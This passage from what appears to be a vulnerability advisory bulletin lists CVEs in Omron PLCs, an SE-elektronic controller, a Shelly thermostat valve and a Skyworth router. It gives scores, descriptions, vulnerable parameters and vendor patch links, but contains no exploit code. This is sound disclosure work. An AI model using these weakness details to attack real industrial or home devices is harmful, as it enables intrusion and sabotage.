Improper Restriction of	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated	https://www.fa.omron.co.jp/product/security/	H-OMR-CJ1G-090224/1787

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Excessive Authentication Attempts			feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	assets/pdf/en/OMSR-2023-010_en.pdf	
Product: cj1g-cpu45p					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ1G-090224/1788
Product: cj1g-cpu45p-gtc					
Affected Version(s): -					
Improper Restriction	22-Jan-2024	9.1	The Omron FINS protocol has an	https://www.fa.omron.co.jp/pr	H-OMR-CJ1G-090224/1789

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
of Excessive Authentication Attempts			authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	oduct/security/assets/pdf/en/OMSR-2023-010_en.pdf	
Product: cj2h-cpu64					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2H-090224/1790
Product: cj2h-cpu64-eip					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2H-090224/1791
Product: cj2h-cpu65					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2H-090224/1792
Product: cj2h-cpu65-eip					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2H-090224/1793
Product: cj2h-cpu66					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2H-090224/1794

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: cj2h-cpu66-eip					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2H-090224/1795
Product: cj2h-cpu67					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic.	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2H-090224/1796

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-45790		
Product: cj2h-cpu67-eip					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2H-090224/1797
Product: cj2h-cpu68					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2H-090224/1798

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2h-cpu68-eip					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2H-090224/1799
Product: cj2m-cpu11					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1800

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2m-cpu12					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1801
Product: cj2m-cpu13					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory.	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1802

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2m-cpu14					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1803
Product: cj2m-cpu15					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1804

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2m-cpu31					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1805
Product: cj2m-cpu32					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1806

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2m-cpu33					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1807
Product: cj2m-cpu34					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1808

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2m-cpu35					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1809
Product: cj2m-md211					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack,	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1810

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cj2m-md212					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CJ2M-090224/1811
Product: cp1e-e					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CP1E-090224/1812

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cp1e-n					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CP1E-090224/1813
Product: cs1d-cpu42s					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1D-090224/1814

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cs1d-cpu44s					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1D-090224/1815
Product: cs1d-cpu65h					
Affected Version(s): -					
Improper Restriction of Excessive Authentica	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions.	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1D-090224/1816

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
tion Attempts			Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cs1d-cpu65p					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1D-090224/1817
Product: cs1d-cpu65s					
Affected Version(s): -					
Improper Restriction of Excessive Authentica	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory	https://www.fa.omron.co.jp/product/security/assets/pdf/en/	H-OMR-CS1D-090224/1818

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
tion Attempts			regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	OMSR-2023-010_en.pdf	
Product: cs1d-cpu67h					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1D-090224/1819
Product: cs1d-cpu67p					
Affected Version(s): -					
Improper Restriction of Excessive	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent	https://www.fa.omron.co.jp/product/security/assets/pdf/en/	H-OMR-CS1D-090224/1820

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Authentication Attempts			access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	OMSR-2023-010_en.pdf	
Product: cs1d-cpu67s					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1D-090224/1821
Product: cs1g-cpu42h					
Affected Version(s): -					
Improper Restriction of	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated	https://www.fa.omron.co.jp/product/security/	H-OMR-CS1G-090224/1822

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Excessive Authentication Attempts			feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	assets/pdf/en/OMSR-2023-010_en.pdf	
Product: cs1g-cpu43h					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1G-090224/1823
Product: cs1g-cpu44h					
Affected Version(s): -					
Improper Restriction	22-Jan-2024	9.1	The Omron FINS protocol has an	https://www.fa.omron.co.jp/pr	H-OMR-CS1G-090224/1824

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
of Excessive Authentication Attempts			authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	oduct/security/assets/pdf/en/OMSR-2023-010_en.pdf	
Product: cs1g-cpu45h					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1G-090224/1825
Product: cs1h-cpu63h					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1H-090224/1826
Product: cs1h-cpu64h					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1H-090224/1827
Product: cs1h-cpu65h					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1H-090224/1828
Product: cs1h-cpu66h					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1H-090224/1829

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: cs1h-cpu67h					
Affected Version(s): -					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	H-OMR-CS1H-090224/1830
Vendor: se-elektronicgmbh					
Product: e-ddc3.3					
Affected Version(s): -					
Improper Control of Generation of Code ('Code Injection')	29-Jan-2024	9.8	Remote command execution vulnerability in SE-elektronic GmbH E-DDC3.3 affecting versions 03.07.03 and higher. An attacker could send different commands from the operating system to the system via the web configuration functionality of the device.	N/A	H-SE--E-DD-090224/1831

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-1015		
Uncontrolled Resource Consumption	29-Jan-2024	7.5	Uncontrolled resource consumption vulnerability in SE-elektronic GmbH E-DDC3.3 affecting versions 03.07.03 and higher. An attacker could interrupt the availability of the administration panel by sending multiple ICMP packets. **CVE ID : CVE-2024-1014**	N/A	H-SE--E-DD-090224/1832
Vendor: shelly					
Product: trv					
Affected Version(s): -					
Cleartext Transmission of Sensitive Information	23-Jan-2024	5.5	Cleartext Transmission during initial setup in Shelly TRV 20220811-15234 v.2.1.8 allows a local attacker to obtain the Wi-Fi password. **CVE ID : CVE-2023-42144**	N/A	H-SHE-TRV-090224/1833
Improper Validation of Integrity Check Value	23-Jan-2024	5.4	Missing Integrity Check in Shelly TRV 20220811-152343/v2.1.8@5afc928c allows malicious users to create a backdoor by redirecting the	N/A	H-SHE-TRV-090224/1834

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			device to an attacker-controlled machine which serves the manipulated firmware file. The device is updated with the manipulated firmware. **CVE ID : CVE-2023-42143**		
Vendor: skyworthdigital					
Product: cm5100					
Affected Version(s): -					
Cleartext Transmission of Sensitive Information	17-Jan-2024	7.5	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to transmission of authentication credentials in plaintext over the network. A remote attacker could exploit this vulnerability by eavesdropping on the victim's network traffic to extract username and password from the web interface (Login Page) of the vulnerable targeted system. **CVE ID : CVE-2023-51740**	N/A	H-SKY-CM51-090224/1835
Cleartext Transmission of	17-Jan-2024	7.5	This vulnerability exist in Skyworth Router CM5100,	N/A	H-SKY-CM51-090224/1836

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Sensitive Information			version 4.1.1.24, due to transmission of authentication credentials in plaintext over the network. A remote attacker could exploit this vulnerability by eavesdropping on the victim's network traffic to extract username and password from the web interface (Password Reset Page) of the vulnerable targeted system. **CVE ID : CVE-2023-51741**		
Out-of-bounds Write	17-Jan-2024	7.5	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Add Downstream Frequency parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system.	N/A	H-SKY-CM51-090224/1837

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful exploitation of this vulnerability could allow the attacker to perform a Denial of Service (DoS) attack on the targeted system. **CVE ID : CVE-2023-51742**		
Out-of-bounds Write	17-Jan-2024	7.5	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Set Upstream Channel ID (UCID) parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform a Denial of Service (DoS) attack on the targeted system.	N/A	H-SKY-CM51-090224/1838

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-51743		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Traceroute parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51719**	N/A	H-SKY-CM51-090224/1839
Improper Neutralization of Input During Web Page Generation	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 1 parameter at its	N/A	H-SKY-CM51-090224/1840

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51720**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 2 parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system.	N/A	H-SKY-CM51-090224/1841

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51721**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 3 parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51722**	N/A	H-SKY-CM51-090224/1842

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Description parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51723**	N/A	H-SKY-CM51-090224/1843
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the URL parameter at its web interface. A remote attacker could exploit this vulnerability by	N/A	H-SKY-CM51-090224/1844

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51724**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Contact Email Address parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored	N/A	H-SKY-CM51-090224/1845

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			XSS attacks on the targeted system. **CVE ID : CVE-2023-51725**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the SMTP Server Name parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51726**	N/A	H-SKY-CM51-090224/1846
Improper Neutralization of Input During Web Page	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user	N/A	H-SKY-CM51-090224/1847

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation ('Cross-site Scripting')			supplied input for the SMTP Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system. **CVE ID : CVE-2023-51727**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Jan-2024	5.4	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the SMTP Password parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the	N/A	H-SKY-CM51-090224/1848

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
